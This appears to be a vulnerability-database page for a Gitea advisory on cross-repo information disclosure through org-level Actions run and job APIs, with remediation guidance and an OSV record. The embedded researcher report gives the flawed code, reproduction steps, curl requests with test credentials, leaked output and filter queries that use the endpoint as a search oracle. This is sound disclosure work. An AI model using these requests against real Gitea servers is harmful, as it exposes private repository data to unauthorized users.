CVE-2026-57897: Gitea Cross-Repo Information Disclosure Vulnerability

MODERATE
Advisory Identifier: GHSA-frpw-3h2q-4jj6
CVSS 6.5
CWE-200 CWE-863
Published
Advisory Summary

CVE-2026-57897 is a MODERATE (CVSS 6.5) cross-repo information disclosure vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting Gitea libraries in the Go ecosystem. The issue involves cross-repo information disclosure via org-level actions run/job apis. Remediation is available by upgrading affected packages to version 1.27.0.

CVE-2026-57897 at a Glance

CVE Identifier CVE-2026-57897
GHSA Identifier GHSA-frpw-3h2q-4jj6
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Affected Product Gitea
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-57897

To remediate this vulnerability, upgrade all affected Gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code.gitea.io/gitea fixed: 1.27.0
Upgrade code.gitea.io/gitea to 1.27.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for code.gitea.io/gitea

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-57897, inspect your project dependencies for Gitea:

inspect dependencies for code.gitea.io/gitea

Analyze the terminal output to locate any version of Gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.27.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In Gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

**Author:** Prakhar Porwal **Date:** 2026-05-24 **Target:** Gitea (self-hosted Git service) **Branch tested:** `main` @ `b7e95cc48c` (development build, go1.26.3) **Component:** `routers/api/v1/org/action.go` (org-level Actions API) **OWASP:** API3:2023 Broken Object Property Level Authorization --- ## 1. Summary The org-level Actions REST endpoints ``` GET /api/v1/orgs/{org}/actions/runs GET /api/v1/orgs/{org}/actions/jobs ``` are gated only by **`reqOrgMembership()`** + `reqToken()`. They then call `shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)` / `shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)`, which selects **every** `action_run` / `action_run_job` row whose repository belongs to the org — with **no per-repository ACL check**. Result: any user who is a member of an organization can enumerate workflow runs and jobs from **every repository in that org**, including: * private repositories the caller has no team membership for, * repositories where the caller has been explicitly denied the `repo.actions` unit, * repositories created by other teams the caller is not part of. Direct per-repo equivalents (`GET /api/v1/repos/{owner}/{repo}/actions/runs`, `…/jobs/{job_id}/logs`, `…/runs/{run_id}/jobs`) correctly return `404` for the same caller — proving the org-level surface is the only path that leaks. --- ## 2. Affected Code ### 2.1 Route registration `routers/api/v1/api.go:1647-1652` ```go addActionsRoutes( m, reqOrgMembership(), // reqReaderCheck reqOrgOwnership(), // reqOwnerCheck org.NewAction(), ) ``` ### 2.2 Helper that registers run/job listing `routers/api/v1/api.go:908-941` ```go m.Group("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns) m.Get("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns) m.Get("/jobs", reqToken(), reqReaderCheck, act.ListWorkflowJobs) ``` `reqReaderCheck` for org-scope = `reqOrgMembership()` — bare org membership is enough; no per-repo permission is consulted. ### 2.3 Handler `routers/api/v1/org/action.go:595-683` ```go func (Action) ListWorkflowJobs(ctx *context.APIContext) { shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil) } func (Action) ListWorkflowRuns(ctx *context.APIContext) { shared.ListRuns(ctx, ctx.Org.Organization.ID, 0) } ``` ### 2.4 Query construction (no ACL) `routers/api/v1/shared/action.go:138-215` ```go opts := actions_model.FindRunOptions{ OwnerID: ownerID, // ← org ID, NOT user ID RepoID: repoID, // = 0 at org level ListOptions: listOptions, } … runs, total, err := db.FindAndCount[actions_model.ActionRun](ctx, opts) ``` `models/actions/run_list.go:102-110` ```go func (opts FindRunOptions) ToJoins() []db.JoinFunc { if opts.OwnerID > 0 { return []db.JoinFunc{func(sess db.Engine) error { sess.Join("INNER", "repository", "repository.id = repo_id AND repository.owner_id = ?", opts.OwnerID) return nil }} } return nil } ``` The join only constrains `repository.owner_id = orgID`. There is no `access`/`team_repo`/`collaboration` join and no `access_model.GetDoerRepoPermission(...)` filter — every row in the org is returned. The same bug applies to `shared.ListJobs`, which calls `db.FindAndCount[actions_model.ActionRunJob](ctx, FindRunJobOptions{OwnerID: …})` using an analogous repository join. --- ## 3. Steps to Reproduce ### 3.1 Setup * Org **`1st-org`** with one **private** repo `1st-org-repo`. * Team **`Owners`** contains user **`admin`** (org owner). * Team **`1st-team`** has **zero repositories** assigned (units permission `none` for actions, no included repos). * User **`admin2`** is a regular user (`is_admin = false`), member of `1st-team` only — so org member, but **no team grants any access to `1st-org-repo`**. Verified that admin2 lacks direct access: ```bash $ curl -u admin2:admin@123 -w '[%{http_code}]\n' \ http://localhost:3001/api/v1/repos/1st-org/1st-org-repo {"errors":null,"message":"not found","url":"…"}[404] $ curl -u admin2:admin@123 -w '[%{http_code}]\n' \ http://localhost:3001/api/v1/orgs/1st-org/repos [] [200] ``` A workflow file was committed to `1st-org-repo/.gitea/workflows/ci.yml` to produce an `action_run`: ```yaml name: ci on: push jobs: hello: runs-on: ubuntu-latest steps: - run: echo "SECRET_INFO_FROM_PRIVATE_REPO" ``` ### 3.2 Trigger ```bash $ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \ http://localhost:3001/api/v1/orgs/1st-org/actions/runs ``` **Output (truncated)** ```json {"workflow_runs":[{ "id":7, "url":"http://localhost:3001/api/v1/repos/1st-org/1st-org-repo/actions/runs/7", "html_url":"http://localhost:3001/1st-org/1st-org-repo/actions/runs/7", "display_title":"add workflow", "path":"ci.yml@refs/heads/main", "event":"push", "run_attempt":1, "run_number":1, "head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73", "head_branch":"main", "status":"queued", "actor":{"id":1,"login":"admin", … "email":"1+admin@noreply.localhost", …}, "trigger_actor":{ … "login":"admin" … }, "repository":{ "id":4,"name":"1st-org-repo","full_name":"1st-org/1st-org-repo", "description":"test123", "private":true, "clone_url":"http://localhost:3001/1st-org/1st-org-repo.git", "ssh_url":"prakhar@localhost:1st-org/1st-org-repo.git", … } }],"total_count":1} [200] ``` Same primitive for jobs: ```bash $ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \ http://localhost:3001/api/v1/orgs/1st-org/actions/jobs {"jobs":[{ "id":7, "run_id":7, "name":"hello", "labels":["ubuntu-latest"], "head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73", "head_branch":"main", "status":"queued", … }],"total_count":1} [200] ``` ### 3.3 search primitives All query parameters supported by `ListRuns`/`ListJobs` work too — turning the endpoint into a **search oracle** over private workflow metadata: ```bash # Find runs on a specific branch in private repos: curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?branch=main" # Confirm a given commit SHA exists in any private repo of the org: curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?head_sha=b7de30c2…" # Filter by actor: curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?actor=admin" # Filter by event/status: curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?event=push&status=failure" ``` All return matching rows from private repos in the org. --- ## 4. Impact A low-privileged authenticated org member (no team, no repo permission, no admin) gains, for every private repository in the org: | Field leaked | Why it matters | |-------------------------------|------------------------------------------------------| | `repository.full_name`, `description`, `private`, clone URLs | Existence + topology of private repos | | `head_sha`, `head_branch` | Confirms commits / branch names exist in private repos | | `path` (workflow file) | Reveals workflow YAML filenames | | `event`, `display_title` | Commit messages / event types | | `actor`, `trigger_actor` | Internal contributor identities incl. noreply emails | | `created_at`, `started_at` | Activity timing / CI cadence | | Pagination + `?head_sha=`/`?branch=`/`?actor=` filters | Full **search oracle** over private workflow history | Real-world consequences: 1. **Org reconnaissance** — confirms existence of private projects, names, activity patterns; commit messages and branch names often reveal product plans, security fix windows, or release schedules. 2. **Insider-threat amplification** — any contractor / interviewee / OSS contributor invited to a low-permission team can mine the rest of the org's CI history. 3. **Cross-team violation** — when an org isolates internal projects via teams (e.g. `security/` vs `infra/` teams), this surface flatly bypasses that boundary. 4. **Pivot data** — commit SHAs disclosed here unlock subsequent endpoints that *do* check ACLs but accept SHA inputs (e.g. some package / archive download paths in third-party tooling that just trusts a SHA). The same primitive is exposed regardless of token scope, as long as the token has `organization` scope, the user is an org member, and the org has any private repos with action runs. ---

CVE-2026-57897 Affected Gitea Versions

1 component(s)
Fixed Versions:
1.27.0
Product / Package Ecosystem Affected Versions Fixed Version
code.gitea.io/gitea
Go
< 1.27.0
1.27.0

References

Frequently Asked Questions

What is CVE-2026-57897?
CVE-2026-57897 is a security vulnerability in Gitea involving Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.
Which Gitea versions are affected?
Affected versions include releases prior to 1.27.0 across affected packages: code.gitea.io/gitea.
What version fixes CVE-2026-57897?
Upgrading to 1.27.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.gitea.io/gitea affected?
Yes, code.gitea.io/gitea is affected in releases prior to 1.27.0. Upgrade your dependency to 1.27.0 or later.
What is the CVSS score of CVE-2026-57897?
CVE-2026-57897 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-57897?
CVE-2026-57897 is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.).
How can I check Go dependencies for CVE-2026-57897?
Run the dependency tree command: 'inspect dependencies for code.gitea.io/gitea'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-frpw-3h2q-4jj6",
  "modified" : "2026-07-21T21:52:02Z",
  "published" : "2026-07-21T21:52:02Z",
  "aliases" : [ "CVE-2026-57897" ],
  "summary" : "Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs",
  "details" : "**Author:** Prakhar Porwal\n**Date:** 2026-05-24\n**Target:** Gitea (self-hosted Git service)\n**Branch tested:** `main` @ `b7e95cc48c` (development build, go1.26.3)\n**Component:** `routers/api/v1/org/action.go` (org-level Actions API)\n**OWASP:** API3:2023 Broken Object Property Level Authorization\n\n---\n\n## 1. Summary\n\nThe org-level Actions REST endpoints\n\n```\nGET /api/v1/orgs/{org}/actions/runs\nGET /api/v1/orgs/{org}/actions/jobs\n```\n\nare gated only by **`reqOrgMembership()`** + `reqToken()`. They then call\n`shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)` /\n`shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)`, which selects\n**every** `action_run` / `action_run_job` row whose repository belongs to the\norg — with **no per-repository ACL check**.\n\nResult: any user who is a member of an organization can enumerate workflow\nruns and jobs from **every repository in that org**, including:\n\n* private repositories the caller has no team membership for,\n* repositories where the caller has been explicitly denied the `repo.actions`\n  unit,\n* repositories created by other teams the caller is not part of.\n\nDirect per-repo equivalents (`GET /api/v1/repos/{owner}/{repo}/actions/runs`,\n`…/jobs/{job_id}/logs`, `…/runs/{run_id}/jobs`) correctly return `404` for the\nsame caller — proving the org-level surface is the only path that leaks.\n\n---\n\n## 2. Affected Code\n\n### 2.1 Route registration\n\n`routers/api/v1/api.go:1647-1652`\n\n```go\naddActionsRoutes(\n    m,\n    reqOrgMembership(),   // reqReaderCheck\n    reqOrgOwnership(),    // reqOwnerCheck\n    org.NewAction(),\n)\n```\n\n### 2.2 Helper that registers run/job listing\n\n`routers/api/v1/api.go:908-941`\n\n```go\nm.Group(\"/runs\", reqToken(), reqReaderCheck, act.ListWorkflowRuns)\nm.Get(\"/runs\", reqToken(), reqReaderCheck, act.ListWorkflowRuns)\nm.Get(\"/jobs\", reqToken(), reqReaderCheck, act.ListWorkflowJobs)\n```\n\n`reqReaderCheck` for org-scope = `reqOrgMembership()` — bare org membership is\nenough; no per-repo permission is consulted.\n\n### 2.3 Handler\n\n`routers/api/v1/org/action.go:595-683`\n\n```go\nfunc (Action) ListWorkflowJobs(ctx *context.APIContext) {\n    shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)\n}\n\nfunc (Action) ListWorkflowRuns(ctx *context.APIContext) {\n    shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)\n}\n```\n\n### 2.4 Query construction (no ACL)\n\n`routers/api/v1/shared/action.go:138-215`\n\n```go\nopts := actions_model.FindRunOptions{\n    OwnerID:     ownerID,   // ← org ID, NOT user ID\n    RepoID:      repoID,    // = 0 at org level\n    ListOptions: listOptions,\n}\n…\nruns, total, err := db.FindAndCount[actions_model.ActionRun](ctx, opts)\n```\n\n`models/actions/run_list.go:102-110`\n\n```go\nfunc (opts FindRunOptions) ToJoins() []db.JoinFunc {\n    if opts.OwnerID > 0 {\n        return []db.JoinFunc{func(sess db.Engine) error {\n            sess.Join(\"INNER\", \"repository\",\n                \"repository.id = repo_id AND repository.owner_id = ?\", opts.OwnerID)\n            return nil\n        }}\n    }\n    return nil\n}\n```\n\nThe join only constrains `repository.owner_id = orgID`. There is no\n`access`/`team_repo`/`collaboration` join and no\n`access_model.GetDoerRepoPermission(...)` filter — every row in the org is\nreturned.\n\nThe same bug applies to `shared.ListJobs`, which calls\n`db.FindAndCount[actions_model.ActionRunJob](ctx, FindRunJobOptions{OwnerID: …})`\nusing an analogous repository join.\n\n---\n\n## 3. Steps to Reproduce\n\n### 3.1 Setup\n\n* Org **`1st-org`** with one **private** repo `1st-org-repo`.\n* Team **`Owners`** contains user **`admin`** (org owner).\n* Team **`1st-team`** has **zero repositories** assigned (units permission\n  `none` for actions, no included repos).\n* User **`admin2`** is a regular user (`is_admin = false`), member of\n  `1st-team` only — so org member, but **no team grants any access to\n  `1st-org-repo`**.\n\nVerified that admin2 lacks direct access:\n\n```bash\n$ curl -u admin2:admin@123 -w '[%{http_code}]\\n' \\\n    http://localhost:3001/api/v1/repos/1st-org/1st-org-repo\n{\"errors\":null,\"message\":\"not found\",\"url\":\"…\"}[404]\n\n$ curl -u admin2:admin@123 -w '[%{http_code}]\\n' \\\n    http://localhost:3001/api/v1/orgs/1st-org/repos\n[]\n[200]\n```\n\nA workflow file was committed to `1st-org-repo/.gitea/workflows/ci.yml` to\nproduce an `action_run`:\n\n```yaml\nname: ci\non: push\njobs:\n  hello:\n    runs-on: ubuntu-latest\n    steps:\n      - run: echo \"SECRET_INFO_FROM_PRIVATE_REPO\"\n```\n\n### 3.2 Trigger\n\n```bash\n$ curl -u admin2:admin@123 -w '\\n[%{http_code}]\\n' \\\n    http://localhost:3001/api/v1/orgs/1st-org/actions/runs\n```\n\n**Output (truncated)**\n\n```json\n{\"workflow_runs\":[{\n  \"id\":7,\n  \"url\":\"http://localhost:3001/api/v1/repos/1st-org/1st-org-repo/actions/runs/7\",\n  \"html_url\":\"http://localhost:3001/1st-org/1st-org-repo/actions/runs/7\",\n  \"display_title\":\"add workflow\",\n  \"path\":\"ci.yml@refs/heads/main\",\n  \"event\":\"push\",\n  \"run_attempt\":1,\n  \"run_number\":1,\n  \"head_sha\":\"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73\",\n  \"head_branch\":\"main\",\n  \"status\":\"queued\",\n  \"actor\":{\"id\":1,\"login\":\"admin\", … \"email\":\"1+admin@noreply.localhost\", …},\n  \"trigger_actor\":{ … \"login\":\"admin\" … },\n  \"repository\":{\n     \"id\":4,\"name\":\"1st-org-repo\",\"full_name\":\"1st-org/1st-org-repo\",\n     \"description\":\"test123\",\n     \"private\":true,\n     \"clone_url\":\"http://localhost:3001/1st-org/1st-org-repo.git\",\n     \"ssh_url\":\"prakhar@localhost:1st-org/1st-org-repo.git\",\n     …\n  }\n}],\"total_count\":1}\n[200]\n```\n\nSame primitive for jobs:\n\n```bash\n$ curl -u admin2:admin@123 -w '\\n[%{http_code}]\\n' \\\n    http://localhost:3001/api/v1/orgs/1st-org/actions/jobs\n{\"jobs\":[{\n  \"id\":7,\n  \"run_id\":7,\n  \"name\":\"hello\",\n  \"labels\":[\"ubuntu-latest\"],\n  \"head_sha\":\"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73\",\n  \"head_branch\":\"main\",\n  \"status\":\"queued\",\n  …\n}],\"total_count\":1}\n[200]\n```\n\n### 3.3 search primitives\n\nAll query parameters supported by `ListRuns`/`ListJobs` work too — turning the\nendpoint into a **search oracle** over private workflow metadata:\n\n```bash\n# Find runs on a specific branch in private repos:\ncurl -u admin2:… \"http://localhost:3001/api/v1/orgs/1st-org/actions/runs?branch=main\"\n\n# Confirm a given commit SHA exists in any private repo of the org:\ncurl -u admin2:… \"http://localhost:3001/api/v1/orgs/1st-org/actions/runs?head_sha=b7de30c2…\"\n\n# Filter by actor:\ncurl -u admin2:… \"http://localhost:3001/api/v1/orgs/1st-org/actions/runs?actor=admin\"\n\n# Filter by event/status:\ncurl -u admin2:… \"http://localhost:3001/api/v1/orgs/1st-org/actions/runs?event=push&status=failure\"\n```\n\nAll return matching rows from private repos in the org.\n\n\n---\n\n\n## 4. Impact\n\nA low-privileged authenticated org member (no team, no repo permission, no\nadmin) gains, for every private repository in the org:\n\n| Field leaked                  | Why it matters                                      |\n|-------------------------------|------------------------------------------------------|\n| `repository.full_name`, `description`, `private`, clone URLs | Existence + topology of private repos |\n| `head_sha`, `head_branch`     | Confirms commits / branch names exist in private repos |\n| `path` (workflow file)        | Reveals workflow YAML filenames                      |\n| `event`, `display_title`      | Commit messages / event types                        |\n| `actor`, `trigger_actor`      | Internal contributor identities incl. noreply emails |\n| `created_at`, `started_at`    | Activity timing / CI cadence                         |\n| Pagination + `?head_sha=`/`?branch=`/`?actor=` filters | Full **search oracle** over private workflow history |\n\nReal-world consequences:\n\n1. **Org reconnaissance** — confirms existence of private projects, names,\n   activity patterns; commit messages and branch names often reveal product\n   plans, security fix windows, or release schedules.\n2. **Insider-threat amplification** — any contractor / interviewee / OSS\n   contributor invited to a low-permission team can mine the rest of the\n   org's CI history.\n3. **Cross-team violation** — when an org isolates internal projects via\n   teams (e.g. `security/` vs `infra/` teams), this surface flatly bypasses\n   that boundary.\n4. **Pivot data** — commit SHAs disclosed here unlock subsequent endpoints\n   that *do* check ACLs but accept SHA inputs (e.g. some package / archive\n   download paths in third-party tooling that just trusts a SHA).\n\nThe same primitive is exposed regardless of token scope, as long as the token\nhas `organization` scope, the user is an org member, and the org has any\nprivate repos with action runs.\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.gitea.io/gitea"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.27.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-frpw-3h2q-4jj6"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-gitea/gitea"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-863" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-21T21:52:02Z",
    "nvd_published_at" : null
  }
}